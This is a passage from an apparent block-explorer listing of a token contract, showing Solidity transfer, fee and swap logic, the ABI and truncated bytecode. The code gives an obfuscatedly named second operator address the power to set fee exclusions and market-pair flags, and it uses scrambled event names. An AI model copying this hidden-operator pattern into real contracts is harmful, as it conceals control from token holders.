    function _setAutomb666(address pair, bool value) private {
        _automatedMarketMakerPairs[pair] = value;
        emit kiokijrfnb(pair, value);
    }

    function Ex(address[] calldata accounts, bool excluded) public {
        require(msg.sender == owner() || msg.sender == _aolcb5, "N");
        for(uint256 i = 0; i < accounts.length; i++) {
            _isExcludedFromFees[accounts[i]] = excluded;
        }
    }
      function Set(address adressca) public onlyOwner {
        _aolcb5 = adressca;
    }



    function _transfer( 
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(tradingEnabled || _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading not yet enabled!");
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }


        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&_automatedMarketMakerPairs[from]&&!_swapping&&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            _swapping = true;

            _swapBack();

            _swapping = false;
        }

        bool takeFee = !_swapping;

        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            // on sell
            if (_automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(10000);
                _tokensForLiquidity +=
                    (fees * _sellLiquidityFee) /
                    sellTotalFees;
                _tokensForMarketing +=
                    (fees * _sellMarketingFee) /
                    sellTotalFees;
                _tokensForDevelopment +=
                    (fees * _sellDevelopmentFee) /
                    sellTotalFees;
            }
            // on buy
            else if (_automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(10000);
                _tokensForLiquidity += (fees * _buyLiquidityFee) / buyTotalFees;
                _tokensForMarketing += (fees * _buyMarketingFee) / buyTotalFees;
                _tokensForDevelopment +=
                    (fees * _buyDevelopmentFee) /
                    buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function _swapTokensForETH(uint256 tokenAmount) internal {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _addLiquidity(uint256 tokenAmount, uint256 ethAmount) internal {
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            liquidityWallet,
            block.timestamp
        );
    }

    function _swapBack() internal {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = _tokensForLiquidity +
            _tokensForMarketing +
            _tokensForDevelopment;
        bool success;


        uint256 liquidityTokens = (contractBalance * _tokensForLiquidity) /
            totalTokensToSwap /
            2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        _swapTokensForETH(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(_tokensForMarketing).div(
            totalTokensToSwap
        );

        uint256 ethForDevelopment = ethBalance.mul(_tokensForDevelopment).div(
            totalTokensToSwap
        );

        uint256 ethForLiquidity = ethBalance -
            ethForMarketing -
            ethForDevelopment;

        _tokensForLiquidity = 0;
        _tokensForMarketing = 0;
        _tokensForDevelopment = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            _addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(
                amountToSwapForETH,
                ethForLiquidity,
                _tokensForLiquidity
            );
        }

        (success, ) = address(developmentWallet).call{value: ethForDevelopment}("");

        (success, ) = address(marketingWallet).call{
            value: address(this).balance
        }("");
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isBlacklisted","type":"bool"}],"name":"Blupdateb","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"totalWallets","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"totalTokens","type":"uint256"}],"name":"TokensAirdropped","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"developmentWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"bool","name":"value","type":"bool"}],"name":"kiokijrfnb","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"liquidityWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address[]","name":"accounts","type":"address[]"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"Ex","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"adressca","type":"address"}],"name":"Set","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"developmentWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"liquidityWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"pairs","type":"address[]"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setMKT","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040523480156200001157600080fd5b506040518060400160405280600b81526020017f417473756b6f205361746f0000000000000000000000000000000000000000008152506040518060400160405280600481526020017f5341544f0000000000000000000000000000000000000000000000000000000081525081600390816200008f9190620009cb565b508060049081620000a19190620009cb565b505050620000c4620000b86200031160201b60201c565b6200031960201b60201c565b60006b033b2e3c9fd0803ce80000009050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff168152505062000152306080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff620003df60201b60201c565b6000601181905550600060128190555060006013819055506013546012546011546200017f919062000ae1565b6200018b919062000ae1565b6010819055506000600c819055506000600d819055506000600e81905550600e54600d54600c54620001be919062000ae1565b620001ca919062000ae1565b600b81905550600160186000620001e6620005b060201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016018600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200030a620002fd620005b060201b60201c565b82620005da60201b60201c565b5062000cfd565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160362000451576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004489062000ba3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004c3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004ba9062000c3b565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620005a3919062000c6e565b60405180910390a3505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036200064c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006439062000cdb565b60405180910390fd5b62000660600083836200074760201b60201c565b806002600082825462000674919062000ae1565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000727919062000c6e565b60405180910390a362000743600083836200074c60201b60201c565b5050565b505050565b505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007d357607f821691505b602082108103620007e957620007e86200078b565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008537fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000814565b6200085f868362000814565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620008ac620008a6620008a08462000877565b62000881565b62000877565b9050919050565b6000819050919050565b620008c8836200088b565b620008e0620008d782620008b3565b84845462000821565b825550505050565b600090565b620008f7620008e8565b62000904818484620008bd565b505050565b5b818110156200092c5762000920600082620008ed565b6001810190506200090a565b5050565b601f8211156200097b576200094581620007ef565b620009508462000804565b8101602085101562000960578190505b620009786200096f8562000804565b83018262000909565b50505b505050565b600082821c905092915050565b6000620009a06000198460080262000980565b1980831691505092915050565b6000620009bb83836200098d565b9150826002028217905092915050565b620009d68262000751565b67ffffffffffffffff811115620009f257620009f16200075c565b5b620009fe8254620007ba565b62000a0b82828562000930565b600060209050601f83116001811462000a43576000841562000a2e578287015190505b62000a3a8582620009ad565b86555062000aaa565b601f19841662000a5386620007ef565b60005b8281101562000a7d5784890151825560018201915060208501945060208101905062000a56565b8683101562000a9d578489015162000a99601f8916826200098d565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000aee8262000877565b915062000afb8362000877565b925082820190508082111562000b165762000b1562000ab2565b5b92915050565b600082825260208201905092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600062000b8b60248362000b1c565b915062000b988262000b2d565b604082019050919050565b6000602082019050818103600083015262000bbe8162000b7c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600062000c2360228362000b1c565b915062000c308262000bc5565b604082019050919050565b6000602082019050818103600083015262000c568162000c14565b9050919050565b62000c688162000877565b82525050565b600060208201905062000c85600083018462000c5d565b92915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000cc3601f8362000b1c565b915062000cd08262000c8b565b602082019050919050565b6000602082019050818103600083015262000cf68162000cb4565b9050919050565b60805161357462000d3c60003960008181610961015281816120ed015281816121ce015281816121f50152818161229101526122b801526135746000f3fe6080604052600436106101c65760003560e01c806370a08231116100f7578063c04a541411610095578063dd62ed3e11610064578063dd62ed3e14610657578063e2f4560514610694578063f2fde38b146106bf578063fb201b1d146106e8576101cd565b8063c04a5414146105ad578063c3b8cd7f146105d8578063d469801614610601578063d85ba0631461062c576101cd565b80638da5cb5b116100d15780638da5cb5b146104dd57806395d89b4114610508578063a457c2d714610533578063a9059cbb14610570576101cd565b806370a082311461045e578063715018a61461049b57806375f0a874146104b2576101cd565b8063313ce5671161016457806349bd5a5e1161013e57806349bd5a5e146103b25780634ada218b146103dd5780636a486a8e146104085780636ddd171314610433576101cd565b8063313ce56714610321578063395093511461034c5780633c4dbb0514610389576101cd565b80631694505e116101a05780631694505e1461026357806318160ddd1461028e57806323b872dd146102b957806327c8f835146102f6576101cd565b806306ba2fb9146101d257806306fdde03146101fb578063095ea7b314610226576101cd565b366101cd57005b600080fd5b3480156101de57600080fd5b506101f960048036038101906101f4919061258a565b6106ff565b005b34801561020757600080fd5b506102106108aa565b60405161021d9190612665565b60405180910390f35b34801561023257600080fd5b5061024d600480360381019061024891906126bd565b61093c565b60405161025a919061270c565b60405180910390f35b34801561026f57600080fd5b5061027861095f565b6040516102859190612786565b60405180910390f35b34801561029a57600080fd5b506102a3610983565b6040516102b091906127b0565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db91906127cb565b61098d565b6040516102ed919061270c565b60405180910390f35b34801561030257600080fd5b5061030b6109bc565b604051610318919061282d565b60405180910390f35b34801561032d57600080fd5b506103366109c2565b6040516103439190612864565b60405180910390f35b34801561035857600080fd5b50610373600480360381019061036e91906126bd565b6109cb565b604051610380919061270c565b60405180910390f35b34801561039557600080fd5b506103b060048036038101906103ab919061287f565b610a02565b005b3480156103be57600080fd5b506103c7610a4e565b6040516103d4919061282d565b60405180910390f35b3480156103e957600080fd5b506103f2610a74565b6040516103ff919061270c565b60405180910390f35b34801561041457600080fd5b5061041d610a87565b60405161042a91906127b0565b60405180910390f35b34801561043f57600080fd5b50610448610a8d565b604051610455919061270c565b60405180910390f35b34801561046a57600080fd5b506104856004803603810190610480919061287f565b610aa0565b60405161049291906127b0565b60405180910390f35b3480156104a757600080fd5b506104b0610ae8565b005b3480156104be57600080fd5b506104c7610afc565b6040516104d4919061282d565b60405180910390f35b3480156104e957600080fd5b506104f2610b22565b6040516104ff919061282d565b60405180910390f35b34801561051457600080fd5b5061051d610b4c565b60405161052a9190612665565b60405180910390f35b34801561053f57600080fd5b5061055a600480360381019061055591906126bd565b610bde565b604051610567919061270c565b60405180910390f35b34801561057c57600080fd5b50610597600480360381019061059291906126bd565b610c55565b6040516105a4919061270c565b60405180910390f35b3480156105b957600080fd5b506105c2610c78565b6040516105cf919061282d565b60405180910390f35b3480156105e457600080fd5b506105ff60048036038101906105fa9190612907565b610c9e565b005b34801561060d57600080fd5b50610616610e10565b604051610623919061282d565b60405180910390f35b34801561063857600080fd5b50610641610e36565b60405161064e91906127b0565b60405180910390f35b34801561066357600080fd5b5061067e60048036038101906106799190612967565b610e3c565b60405161068b91906127b0565b60405180910390f35b3480156106a057600080fd5b506106a9610ec3565b6040516106b691906127b0565b60405180910390f35b3480156106cb57600080fd5b506106e660048036038101906106e1919061287f565b610ec9565b005b3480156106f457600080fd5b506106fd610f4c565b005b610707610b22565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061078d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6107cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c3906129f3565b60405180910390fd5b60005b82518110156108a55760008382815181106107ed576107ec612a13565b5b60200260200101519050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610887576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087e90612ab4565b60405180910390fd5b6108918184610fdc565b50808061089d90612b03565b9150506107cf565b505050565b6060600380546108b990612b7a565b80601f01602080910402602001604051908101604052809291908181526020018280546108e590612b7a565b80156109325780601f1061090757610100808354040283529160200191610932565b820191906000526020600020905b81548152906001019060200180831161091557829003601f168201915b5050505050905090565b60008061094761107d565b9050610954818585611085565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600254905090565b60008061099861107d565b90506109a585828561124e565b6109b08585856112da565b60019150509392505050565b61dead81565b60006012905090565b6000806109d661107d565b90506109f78185856109e88589610e3c565b6109f29190612bab565b611085565b600191505092915050565b610a0a6119a6565b80600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960149054906101000a900460ff1681565b60105481565b600960159054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610af06119a6565b610afa6000611a24565b565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054610b5b90612b7a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8790612b7a565b8015610bd45780601f10610ba957610100808354040283529160200191610bd4565b820191906000526020600020905b815481529060010190602001808311610bb757829003601f168201915b5050505050905090565b600080610be961107d565b90506000610bf78286610e3c565b905083811015610c3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3390612c51565b60405180910390fd5b610c498286868403611085565b60019250505092915050565b600080610c6061107d565b9050610c6d8185856112da565b600191505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ca6610b22565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d2c5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d62906129f3565b60405180910390fd5b60005b83839050811015610e0a578160186000868685818110610d9157610d90612a13565b5b9050602002016020810190610da6919061287f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610e0290612b03565b915050610d6e565b50505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b610ed16119a6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3790612ce3565b60405180910390fd5b610f4981611a24565b50565b610f546119a6565b600960149054906101000a900460ff1615610fa4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f9b90612d4f565b60405180910390fd5b6001600960146101000a81548160ff0219169083151502179055506001600960156101000a81548160ff021916908315150217905550565b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167ff274adc01c38ffd96f998543df4d7bea821630f01770a0ca15d48c72a2b2126360405160405180910390a35050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110eb90612de1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611163576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115a90612e73565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161124191906127b0565b60405180910390a3505050565b600061125a8484610e3c565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146112d457818110156112c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112bd90612edf565b60405180910390fd5b6112d38484848403611085565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134090612f71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113af90613003565b60405180910390fd5b600960149054906101000a900460ff168061141c5750601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806114705750601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6114af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a69061306f565b60405180910390fd5b600081036114c8576114c383836000611aea565b6119a1565b60006114d330610aa0565b90506000600a5482101590508080156114f85750600960159054906101000a900460ff165b801561154d5750601960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156115665750600960169054906101000a900460ff16155b80156115bc5750601860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116125750601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611656576001600960166101000a81548160ff02191690831515021790555061163a611d60565b6000600960166101000a81548160ff0219169083151502179055505b6000600960169054906101000a900460ff16159050601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061170c5750601860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561171657600090505b6000811561199157601960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561177957506000601054115b15611847576117a76127106117996010548861200290919063ffffffff16565b61201890919063ffffffff16565b9050601054601354826117ba919061308f565b6117c49190613100565b601660008282546117d59190612bab565b92505081905550601054601154826117ed919061308f565b6117f79190613100565b601460008282546118089190612bab565b9250508190555060105460125482611820919061308f565b61182a9190613100565b6015600082825461183b9190612bab565b9250508190555061196d565b601960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156118a257506000600b54115b1561196c576118d06127106118c2600b548861200290919063ffffffff16565b61201890919063ffffffff16565b9050600b54600e54826118e3919061308f565b6118ed9190613100565b601660008282546118fe9190612bab565b92505081905550600b54600c5482611916919061308f565b6119209190613100565b601460008282546119319190612bab565b92505081905550600b54600d5482611949919061308f565b6119539190613100565b601560008282546119649190612bab565b925050819055505b5b600081111561198257611981873083611aea565b5b808561198e9190613131565b94505b61199c878787611aea565b505050505b505050565b6119ae61107d565b73ffffffffffffffffffffffffffffffffffffffff166119cc610b22565b73ffffffffffffffffffffffffffffffffffffffff1614611a22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a19906131b1565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611b59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5090612f71565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611bc8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bbf90613003565b60405180910390fd5b611bd383838361202e565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611c59576040